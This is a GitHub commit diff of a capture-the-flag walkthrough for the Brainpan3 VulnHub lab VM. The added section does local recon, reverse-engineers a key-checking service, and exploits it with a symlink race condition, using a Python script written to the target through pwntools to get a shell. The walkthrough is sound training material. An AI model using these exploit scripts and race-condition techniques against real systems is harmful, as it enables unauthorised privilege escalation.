Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 69d2c8e

Browse files
ctfhackerctfhacker
committed
GOt puck!
1 parent e010940 commit 69d2c8e

File tree

1 file changed

+144
-2
lines changed

1 file changed

+144
-2
lines changed

‎vulnhub/brainpan3/README.md‎

Lines changed: 144 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -274,7 +274,7 @@ r.sendline('Y' * (4*(n_index-2) + 1) )
274274
```
275275

276276
```
277-
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
277+
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
278278
AUTH [Y] REPORT [Y] MENU [Y]
279279
--------------------------------------------------------------
280280
@@ -572,7 +572,7 @@ Our plan of attack here is as follows:
572572

573573
Our resulting testing script is below:
574574

575-
```
575+
```python
576576
from pwn import * # pip install --upgrade git+https://github.com/binjitsu/binjitsu.git
577577

578578
shellcode = 'A' * cyclic_find('zaab') + p32(0x804a080)
@@ -628,3 +628,145 @@ And we are given our reynard shell!
628628
uid=1000(anansi) gid=1003(webdev) euid=1002(reynard) groups=1002(reynard)
629629
```
630630

631+
## Step 4
632+
633+
A little more recon shows the following cron job:
634+
635+
```
636+
$ cat /etc/cron.d/*
637+
* * * * * root cd /opt/.messenger; for i in *.msg; do /usr/local/bin/msg_admin 1 $i; rm -f $i; done
638+
```
639+
640+
Looking at the privileges of `/opt/.messenger` we see the following:
641+
642+
```
643+
$ ls -la /opt
644+
total 12
645+
drwxr-xr-x 3 root root 4096 May 19 23:51 .
646+
drwxr-xr-x 21 root root 4096 Jun 17 22:05 ..
647+
drwxrwx--- 3 root dev 4096 Jun 10 22:32 .messenger
648+
```
649+
650+
Examining the tail of `/etc/passwd`, we see `puck`. Looking at his `id`:
651+
652+
```
653+
$ id puck
654+
uid=1001(puck) gid=1001(puck) groups=1001(puck),1004(dev)
655+
```
656+
657+
He does have `dev` privileges allowing him to access `/opt/.messenger`. Let's take a look at what `puck` has on the box.
658+
659+
```
660+
$ cd /home/puck
661+
$ ls -la
662+
total 12
663+
drwxrwx--- 2 reynard dev 4096 Jun 17 22:11 .
664+
drwxr-xr-x 3 root root 4096 May 19 23:35 ..
665+
-rw-r--r-- 1 reynard reynard 21 Jun 17 22:11 key.txt
666+
$ cat key.txt
667+
9H37B81HZYY8912HBU93
668+
```
669+
670+
Are there other keys on the box?
671+
672+
```
673+
$ find / -name key* 2>/dev/null
674+
/nt/usb/key.txt
675+
$ cat /mnt/usb/key.txt
676+
9H37B81HZYY8912HBU93
677+
```
678+
679+
Not sure what these keys are for. Looking at the `netstat` we see another service is active:
680+
681+
```
682+
$ netstat -antop | grep LIST
683+
(Not all processes could be identified, non-owned process info
684+
will not be shown, you would have to be root to see it all.)
685+
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN - off (0.00/0/0)
686+
tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN - off (0.00/0/0)
687+
tcp 0 0 127.0.0.1:7075 0.0.0.0:* LISTEN - off (0.00/0/0)
688+
```
689+
690+
Connecting to it
691+
692+
```
693+
$ nc localhost 7075
694+
Incorrect key
695+
```
696+
697+
Not having any idea what service this is coming from, let's perform a system wide `strings` to try and find the binary responsible for this.
698+
699+
```
700+
$ find / -executable > exes
701+
$ for f in $(cat exes); do echo $f >> output; strings $f | grep "Incorrect key" >> output; done
702+
$ grep Incorrect output -B1
703+
/usr/local/sbin/trixd
704+
Incorrect key
705+
```
706+
707+
And to confirm
708+
709+
```
710+
$ strings /usr/local/sbin/trixd | grep Incorrect
711+
Incorrect key
712+
```
713+
714+
Loading `trixd` into IDA we see that the binary is checking to see if `/mnt/usb/key.txt` is a symlink, and if so, exits immediately. From here, it opens both `/mnt/usb/key.txt` and `/home/puck/key.txt` and checks if they are both the same. If they are the same, we are given a `/bin/sh` shell. Otherwise, we see the `Incorrect key` message.
715+
716+
The idea to beat this is to connect, delete `/mnt/usb/key.txt`, then symlink `/home/puck/key.txt` to `/mnt/usb/key.txt`. If timed correctly, we will catch the symlink after the check, bypassing it.
717+
718+
I couldn't get `binjitsu` on the Brainpan3 box (or didn't try hard enough), so we can use standard library functions to do the connections.
719+
720+
Again, in order to make this work via one script, we will write a script to disk and execute it in order to get our shell with `puck`.
721+
722+
Our new code is below:
723+
724+
```python
725+
# Create our script on the server
726+
727+
r.sendline(""" echo "
728+
import os
729+
import socket
730+
import telnetlib
731+
import subprocess
732+
733+
HOST = 'localhost'
734+
PORT = 7075
735+
736+
try:
737+
os.remove('/mnt/usb/key.txt')
738+
except:
739+
pass
740+
741+
# Ensure we have a file to begin with
742+
subprocess.check_output(['touch', '/mnt/usb/key.txt'])
743+
744+
# Connect and check for symlink
745+
r = socket.socket()
746+
r.connect((HOST, PORT))
747+
748+
# Quickly remove the non-symlinked file and re-symlink
749+
os.remove('/mnt/usb/key.txt')
750+
os.symlink('/home/puck/key.txt', '/mnt/usb/key.txt')
751+
752+
# Try for our shellz
753+
t = telnetlib.Telnet()
754+
t.sock = r
755+
t.interact()
756+
757+
r.close()
758+
" > win.py
759+
""")
760+
761+
r.sendline("python win.py")
762+
r.clean()
763+
r.sendline("whoami")
764+
output = r.recv()
765+
log.success("Shell received: {}".format(output))
766+
sleep(1)
767+
768+
r.interactive()
769+
```
770+
771+
772+

0 commit comments

Comments
 (0)